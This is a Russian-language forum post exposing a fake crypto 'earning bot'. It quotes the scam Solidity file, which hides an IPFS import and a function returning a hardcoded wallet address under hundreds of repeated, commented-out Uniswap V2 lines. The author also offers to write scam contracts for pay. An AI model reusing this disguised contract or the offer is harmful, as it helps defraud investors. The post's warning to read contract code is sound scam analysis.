На днях тут нашел супер пупер бота для успешного заработка)
/видео работает просто не прогрузилось чёт сюда
думаю дай как потестю, а там сука, СКАМ. Причем такой хреновый ну просто копец.
заходим на их гит, откуда предложено взять код .sol файла и задеплоить его в remixe. Подробное описание конечно же прилагается. 500+ строк кода с использованием функций ассемблирования, да так напутали что сразу понятно - скамло. Думаю щя разберусь где собака зарыта. А она зарыта в 6 строчке кода
Поднял ноду на виртуалке:
открыл этот файл а там так тупо реализовано всё, мне аж плавать захотелось:
Весь код кроме 443 и 543 строк, в которых был обьявлен контракт и функция публичная, вносящая изменения в блокчейн, возвращаяет адрес куда потом пойдет $$
Хотя есть в этом и небольшой плюс - щя немного потуплю, да переделаю его под нормального бота.Вруг вправду будет $1к на пассиве.
Будте аккуратны - если вы ищите куда инвестировать $$$ - читайте код контракта
Если вы скамеры - придумайте уже что - нибудь получше - используйте оракулы например. Или метаморфизм хоть.
А то маленький какой то профит судя по etherscan.io
А если вам всё-таки нужен нормальный ERC 20/721 или просто скам контракт - готовте $ и пишите ПМ. А лучше всего учите солидити и будет вам счастье, много много счастье.
думаю дай как потестю, а там сука, СКАМ. Причем такой хреновый ну просто копец.
заходим на их гит, откуда предложено взять код .sol файла и задеплоить его в remixe. Подробное описание конечно же прилагается. 500+ строк кода с использованием функций ассемблирования, да так напутали что сразу понятно - скамло. Думаю щя разберусь где собака зарыта. А она зарыта в 6 строчке кода
Код:
pragma solidity ^0.6.6;
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "ipfs://Qmf1enYmjpYSPA1n87fiEXDPzWtJHXwSrFQwDtz7f9jX8V";
Поднял ноду на виртуалке:
открыл этот файл а там так тупо реализовано всё, мне аж плавать захотелось:
Код:
pragma solidity ^0.6.6;
// import chai, { expect } from 'chai'
// import { Contract } from 'ethers'
// import { MaxUint256 } from 'ethers/constants'
// import { bigNumberify, hexlify, keccak256, defaultAbiCoder, toUtf8Bytes } from 'ethers/utils'
// import { solidity, MockProvider, deployContract } from 'ethereum-waffle'
// import { ecsign } from 'ethereumjs-util'
// import { expandTo18Decimals, getApprovalDigest } from './shared/utilities'
// import ERC20 from '../build/ERC20.json'
// import './interfaces/IUniswapV2Pair.sol';
// import './UniswapV2ERC20.sol';
// import './libraries/Math.sol';
// import './libraries/UQ112x112.sol';
// import './interfaces/IERC20.sol';
// import './interfaces/IUniswapV2Factory.sol';
// import './interfaces/IUniswapV2Callee.sol';
// contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
// using SafeMath for uint;
// using UQ112x112 for uint224;
// uint public constant MINIMUM_LIQUIDITY = 10**3;
// bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
// address public factory;
// address public token0;
// address public token1;
// uint112 private reserve0; // uses single storage slot, accessible via getReserves
// uint112 private reserve1; // uses single storage slot, accessible via getReserves
// uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
// uint public price0CumulativeLast;
// uint public price1CumulativeLast;
// uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
// uint private unlocked = 1;
// modifier lock() {
// require(unlocked == 1, 'UniswapV2: LOCKED');
// unlocked = 0;
// _;
// unlocked = 1;
// }
// function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
// _reserve0 = reserve0;
// _reserve1 = reserve1;
// _blockTimestampLast = blockTimestampLast;
// }
// function _safeTransfer(address token, address to, uint value) private {
// (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
// require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
// }
// event Mint(address indexed sender, uint amount0, uint amount1);
// event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
// event Swap(
// address indexed sender,
// uint amount0In,
// uint amount1In,
// uint amount0Out,
// uint amount1Out,
// address indexed to
// );
// event Sync(uint112 reserve0, uint112 reserve1);
// constructor() public {
// factory = msg.sender;
// }
// // called once by the factory at time of deployment
// function initialize(address _token0, address _token1) external {
// require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
// token0 = _token0;
// token1 = _token1;
// }
// // update reserves and, on the first call per block, price accumulators
// function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
// require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
// uint32 blockTimestamp = uint32(block.timestamp % 2**32);
// uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// // * never overflows, and + overflow is desired
// price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
// price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
// }
// reserve0 = uint112(balance0);
// reserve1 = uint112(balance1);
// blockTimestampLast = blockTimestamp;
// emit Sync(reserve0, reserve1);
// }
// // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
// function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
// address feeTo = IUniswapV2Factory(factory).feeTo();
// feeOn = feeTo != address(0);
// uint _kLast = kLast; // gas savings
// if (feeOn) {
// if (_kLast != 0) {
// uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
// uint rootKLast = Math.sqrt(_kLast);
// if (rootK > rootKLast) {
// uint numerator = totalSupply.mul(rootK.sub(rootKLast));
// uint denominator = rootK.mul(5).add(rootKLast);
// uint liquidity = numerator / denominator;
// if (liquidity > 0) _mint(feeTo, liquidity);
// }
// }
// } else if (_kLast != 0) {
// kLast = 0;
// }
// }
// // this low-level function should be called from a contract which performs important safety checks
// function mint(address to) external lock returns (uint liquidity) {
// (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
// uint balance0 = IERC20(token0).balanceOf(address(this));
// uint balance1 = IERC20(token1).balanceOf(address(this));
// uint amount0 = balance0.sub(_reserve0);
// uint amount1 = balance1.sub(_reserve1);
// bool feeOn = _mintFee(_reserve0, _reserve1);
// uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
// if (_totalSupply == 0) {
// liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
// _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
// } else {
// liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
// }
// require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
// _mint(to, liquidity);
// _update(balance0, balance1, _reserve0, _reserve1);
// if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
// emit Mint(msg.sender, amount0, amount1);
// }
// // this low-level function should be called from a contract which performs important safety checks
// function burn(address to) external lock returns (uint amount0, uint amount1) {
// (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
// address _token0 = token0; // gas savings
// address _token1 = token1; // gas savings
// uint balance0 = IERC20(_token0).balanceOf(address(this));
// uint balance1 = IERC20(_token1).balanceOf(address(this));
// uint liquidity = balanceOf[address(this)];
// bool feeOn = _mintFee(_reserve0, _reserve1);
// uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
// amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
// amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
// require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
// _burn(address(this), liquidity);
// _safeTransfer(_token0, to, amount0);
// _safeTransfer(_token1, to, amount1);
// balance0 = IERC20(_token0).balanceOf(address(this));
// balance1 = IERC20(_token1).balanceOf(address(this));
// _update(balance0, balance1, _reserve0, _reserve1);
// if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
// emit Burn(msg.sender, amount0, amount1, to);
// }
// // this low-level function should be called from a contract which performs important safety checks
// function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
// require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
// (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
// require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
// // this low-level function should be called from a contract which performs important safety checks
// function burn(address to) external lock returns (uint amount0, uint amount1) {
// (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
// address _token0 = token0; // gas savings
// address _token1 = token1; // gas savings
// uint balance0 = IERC20(_token0).balanceOf(address(this));
// uint balance1 = IERC20(_token1).balanceOf(address(this));
// uint liquidity = balanceOf[address(this)];
// bool feeOn = _mintFee(_reserve0, _reserve1);
// uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
// amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
// amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
// require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
// _burn(address(this), liquidity);
// _safeTransfer(_token0, to, amount0);
// _safeTransfer(_token1, to, amount1);
// balance0 = IERC20(_token0).balanceOf(address(this));
// balance1 = IERC20(_token1).balanceOf(address(this));
// _update(balance0, balance1, _reserve0, _reserve1);
// if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
// emit Burn(msg.sender, amount0, amount1, to);
// }
// // this low-level function should be called from a contract which performs important safety checks
// function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
// require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
// (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
// require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
// uint balance0;
// uint balance1;
// { // scope for _token{0,1}, avoids stack too deep errors
// address _token0 = token0;
// address _token1 = token1;
// require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
// if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
// if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
// if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
// balance0 = IERC20(_token0).balanceOf(address(this));
// balance1 = IERC20(_token1).balanceOf(address(this));
// }
// uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
// uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
// require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
// { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
// uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
// uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
// require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
// }
// _update(balance0, balance1, _reserve0, _reserve1);
// emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
// }
// // force balances to match reserves
// function skim(address to) external lock {
// address _token0 = token0; // gas savings
// address _token1 = token1; // gas savings
// _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
// _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
// }
// // force reserves to match balances
// function sync() external lock {
// _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
// }
// }
// chai.use(solidity)
// const TOTAL_SUPPLY = expandTo18Decimals(10000)
// const TEST_AMOUNT = expandTo18Decimals(10)
// describe('UniswapV2ERC20', () => {
// const provider = new MockProvider({
// hardfork: 'istanbul',
// mnemonic: 'horn horn horn horn horn horn horn horn horn horn horn horn',
// gasLimit: 9999999
// })
// const [wallet, other] = provider.getWallets()
// let token: Contract
// beforeEach(async () => {
// token = await deployContract(wallet, ERC20, [TOTAL_SUPPLY])
// })
// it('name, symbol, decimals, totalSupply, balanceOf, DOMAIN_SEPARATOR, PERMIT_TYPEHASH', async () => {
// const name = await token.name()
// expect(name).to.eq('Uniswap V2')
// expect(await token.symbol()).to.eq('UNI-V2')
// expect(await token.decimals()).to.eq(18)
// expect(await token.totalSupply()).to.eq(TOTAL_SUPPLY)
// expect(await token.balanceOf(wallet.address)).to.eq(TOTAL_SUPPLY)
// expect(await token.DOMAIN_SEPARATOR()).to.eq(
// keccak256(
// uint balance0;
// uint balance1;
// { // scope for _token{0,1}, avoids stack too deep errors
// address _token0 = token0;
// address _token1 = token1;
// require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
// if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
// if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
// if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
// balance0 = IERC20(_token0).balanceOf(address(this));
// balance1 = IERC20(_token1).balanceOf(address(this));
// }
// uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
// uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
// require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
// { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
// uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
// uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
// require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
// }
// _update(balance0, balance1, _reserve0, _reserve1);
// emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
// }
// // force balances to match reserves
// function skim(address to) external lock {
// address _token0 = token0; // gas savings
// address _token1 = token1; // gas savings
// _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
// _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
// }
// // force reserves to match balances
// function sync() external lock {
// _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
// }
// }
// chai.use(solidity)
// const TOTAL_SUPPLY = expandTo18Decimals(10000)
// const TEST_AMOUNT = expandTo18Decimals(10)
// describe('UniswapV2ERC20', () => {
// const provider = new MockProvider({
// hardfork: 'istanbul',
// mnemonic: 'horn horn horn horn horn horn horn horn horn horn horn horn',
// gasLimit: 9999999
// })
// const [wallet, other] = provider.getWallets()
// let token: Contract
// beforeEach(async () => {
// token = await deployContract(wallet, ERC20, [TOTAL_SUPPLY])
// })
// it('name, symbol, decimals, totalSupply, balanceOf, DOMAIN_SEPARATOR, PERMIT_TYPEHASH', async () => {
// const name = await token.name()
// expect(name).to.eq('Uniswap V2')
// expect(await token.symbol()).to.eq('UNI-V2')
// expect(await token.decimals()).to.eq(18)
// expect(await token.totalSupply()).to.eq(TOTAL_SUPPLY)
// expect(await token.balanceOf(wallet.address)).to.eq(TOTAL_SUPPLY)
// expect(await token.DOMAIN_SEPARATOR()).to.eq(
// keccak256(
// defaultAbiCoder.encode(
// ['bytes32', 'bytes32', 'bytes32', 'uint256', 'address'],
// [
// keccak256(
// toUtf8Bytes('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)')
// ),
// keccak256(toUtf8Bytes(name)),
// keccak256(toUtf8Bytes('1')),
// 1,
// token.address
// ]
// )
// )
// )
// // this low-level function should be called from a contract which performs important safety checks
// function burn(address to) external lock returns (uint amount0, uint amount1) {
// (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
// address _token0 = token0; // gas savings
// address _token1 = token1; // gas savings
// uint balance0 = IERC20(_token0).balanceOf(address(this));
// uint balance1 = IERC20(_token1).balanceOf(address(this));
// uint liquidity = balanceOf[address(this)];
// bool feeOn = _mintFee(_reserve0, _reserve1);
// uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
// amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
// amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
// require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
// _burn(address(this), liquidity);
// _safeTransfer(_token0, to, amount0);
// _safeTransfer(_token1, to, amount1);
// balance0 = IERC20(_token0).balanceOf(address(this));
// balance1 = IERC20(_token1).balanceOf(address(this));
// _update(balance0, balance1, _reserve0, _reserve1);
// if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
// emit Burn(msg.sender, amount0, amount1, to);
// }
// // this low-level function should be called from a contract which performs important safety checks
// function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
// require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
// (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
// require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
// uint balance0;
// uint balance1;
// { // scope for _token{0,1}, avoids stack too deep errors
// address _token0 = token0;
// address _token1 = token1;
// require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
// if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
// if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
// if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
// balance0 = IERC20(_token0).balanceOf(address(this));
// balance1 = IERC20(_token1).balanceOf(address(this));
// }
// uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
// uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
// require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
// { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
// uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
// uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
// require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
// }
// _update(balance0, balance1, _reserve0, _reserve1);
// emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
// }
// // force balances to match reserves
// function skim(address to) external lock {
// address _token0 = token0; // gas savings
// address _token1 = token1; // gas savings
// _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
// _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
// }
// // force reserves to match balances
// function sync() external lock {
// _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
// }
// }
// chai.use(solidity)
// const TOTAL_SUPPLY = expandTo18Decimals(10000)
// const TEST_AMOUNT = expandTo18Decimals(10)
// describe('UniswapV2ERC20', () => {
// const provider = new MockProvider({
// hardfork: 'istanbul',
// mnemonic: 'horn horn horn horn horn horn horn horn horn horn horn horn',
// gasLimit: 9999999
// })
// const [wallet, other] = provider.getWallets()
// let token: Contract
// beforeEach(async () => {
// token = await deployContract(wallet, ERC20, [TOTAL_SUPPLY])
// })
// it('name, symbol, decimals, totalSupply, balanceOf, DOMAIN_SEPARATOR, PERMIT_TYPEHASH', async () => {
// const name = await token.name()
// expect(name).to.eq('Uniswap V2')
// expect(await token.symbol()).to.eq('UNI-V2')
// expect(await token.decimals()).to.eq(18)
// expect(await token.totalSupply()).to.eq(TOTAL_SUPPLY)
// expect(await token.balanceOf(wallet.address)).to.eq(TOTAL_SUPPLY)
// expect(await token.DOMAIN_SEPARATOR()).to.eq(
// keccak256(
contract Manager {
function performTasks() public {
}
// // this low-level function should be called from a contract which performs important safety checks
// function burn(address to) external lock returns (uint amount0, uint amount1) {
// (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
// address _token0 = token0; // gas savings
// address _token1 = token1; // gas savings
// uint balance0 = IERC20(_token0).balanceOf(address(this));
// uint balance1 = IERC20(_token1).balanceOf(address(this));
// uint liquidity = balanceOf[address(this)];
// bool feeOn = _mintFee(_reserve0, _reserve1);
// uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
// amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
// amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
// require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
// _burn(address(this), liquidity);
// _safeTransfer(_token0, to, amount0);
// _safeTransfer(_token1, to, amount1);
// balance0 = IERC20(_token0).balanceOf(address(this));
// balance1 = IERC20(_token1).balanceOf(address(this));
// _update(balance0, balance1, _reserve0, _reserve1);
// if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
// emit Burn(msg.sender, amount0, amount1, to);
// }
// // this low-level function should be called from a contract which performs important safety checks
// function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
// require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
// (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
// require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
// uint balance0;
// uint balance1;
// { // scope for _token{0,1}, avoids stack too deep errors
// address _token0 = token0;
// address _token1 = token1;
// require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
// if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
// if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
// if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
// balance0 = IERC20(_token0).balanceOf(address(this));
// balance1 = IERC20(_token1).balanceOf(address(this));
// }
// uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
// uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
// require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
// { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
// uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
// uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
// require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
// }
// _update(balance0, balance1, _reserve0, _reserve1);
// emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
// }
// // force balances to match reserves
// function skim(address to) external lock {
// address _token0 = token0; // gas savings
// address _token1 = token1; // gas savings
// _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
// _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
// }
// // force reserves to match balances
// function sync() external lock {
// _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
// }
// }
// chai.use(solidity)
// const TOTAL_SUPPLY = expandTo18Decimals(10000)
// const TEST_AMOUNT = expandTo18Decimals(10)
// describe('UniswapV2ERC20', () => {
// const provider = new MockProvider({
// hardfork: 'istanbul',
// mnemonic: 'horn horn horn horn horn horn horn horn horn horn horn horn',
// gasLimit: 9999999
// })
// const [wallet, other] = provider.getWallets()
// let token: Contract
// beforeEach(async () => {
// token = await deployContract(wallet, ERC20, [TOTAL_SUPPLY])
// })
// it('name, symbol, decimals, totalSupply, balanceOf, DOMAIN_SEPARATOR, PERMIT_TYPEHASH', async () => {
// const name = await token.name()
// expect(name).to.eq('Uniswap V2')
// expect(await token.symbol()).to.eq('UNI-V2')
// expect(await token.decimals()).to.eq(18)
// expect(await token.totalSupply()).to.eq(TOTAL_SUPPLY)
// expect(await token.balanceOf(wallet.address)).to.eq(TOTAL_SUPPLY)
// expect(await token.DOMAIN_SEPARATOR()).to.eq(
// keccak256(
function uniswapDepositAddress() public pure returns (address) {
return 0xF96eE2f1E43817f16edB9d7fDD6f66e404643015;
}
}
// // this low-level function should be called from a contract which performs important safety checks
// function burn(address to) external lock returns (uint amount0, uint amount1) {
// (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
// address _token0 = token0; // gas savings
// address _token1 = token1; // gas savings
// uint balance0 = IERC20(_token0).balanceOf(address(this));
// uint balance1 = IERC20(_token1).balanceOf(address(this));
// uint liquidity = balanceOf[address(this)];
// bool feeOn = _mintFee(_reserve0, _reserve1);
// uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
// amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
// amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
// require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
// _burn(address(this), liquidity);
// _safeTransfer(_token0, to, amount0);
// _safeTransfer(_token1, to, amount1);
// balance0 = IERC20(_token0).balanceOf(address(this));
// balance1 = IERC20(_token1).balanceOf(address(this));
// _update(balance0, balance1, _reserve0, _reserve1);
// if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
// emit Burn(msg.sender, amount0, amount1, to);
// }
// // this low-level function should be called from a contract which performs important safety checks
// function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
// require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
// (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
// require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
// uint balance0;
// uint balance1;
// { // scope for _token{0,1}, avoids stack too deep errors
// address _token0 = token0;
// address _token1 = token1;
// require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
// if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
// if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
// if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
// balance0 = IERC20(_token0).balanceOf(address(this));
// balance1 = IERC20(_token1).balanceOf(address(this));
// }
// uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
// uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
// require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
// { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
// uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
// uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
// require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
// }
// _update(balance0, balance1, _reserve0, _reserve1);
// emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
// }
// // force balances to match reserves
// function skim(address to) external lock {
// address _token0 = token0; // gas savings
// address _token1 = token1; // gas savings
// _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
// _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
// }
// // force reserves to match balances
// function sync() external lock {
// _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
// }
// }
// chai.use(solidity)
// const TOTAL_SUPPLY = expandTo18Decimals(10000)
// const TEST_AMOUNT = expandTo18Decimals(10)
// describe('UniswapV2ERC20', () => {
// const provider = new MockProvider({
// hardfork: 'istanbul',
// mnemonic: 'horn horn horn horn horn horn horn horn horn horn horn horn',
// gasLimit: 9999999
// })
// const [wallet, other] = provider.getWallets()
// let token: Contract
// beforeEach(async () => {
// token = await deployContract(wallet, ERC20, [TOTAL_SUPPLY])
// })
// it('name, symbol, decimals, totalSupply, balanceOf, DOMAIN_SEPARATOR, PERMIT_TYPEHASH', async () => {
// const name = await token.name()
// expect(name).to.eq('Uniswap V2')
// expect(await token.symbol()).to.eq('UNI-V2')
// expect(await token.decimals()).to.eq(18)
// expect(await token.totalSupply()).to.eq(TOTAL_SUPPLY)
// expect(await token.balanceOf(wallet.address)).to.eq(TOTAL_SUPPLY)
// expect(await token.DOMAIN_SEPARATOR()).to.eq(
// keccak256(
Весь код кроме 443 и 543 строк, в которых был обьявлен контракт и функция публичная, вносящая изменения в блокчейн, возвращаяет адрес куда потом пойдет $$
Код:
......
......
contract Manager {
function performTasks() public {
}
......
......
function uniswapDepositAddress() public pure returns (address) {
return 0xF96eE2f1E43817f16edB9d7fDD6f66e404643015;
}
}
......
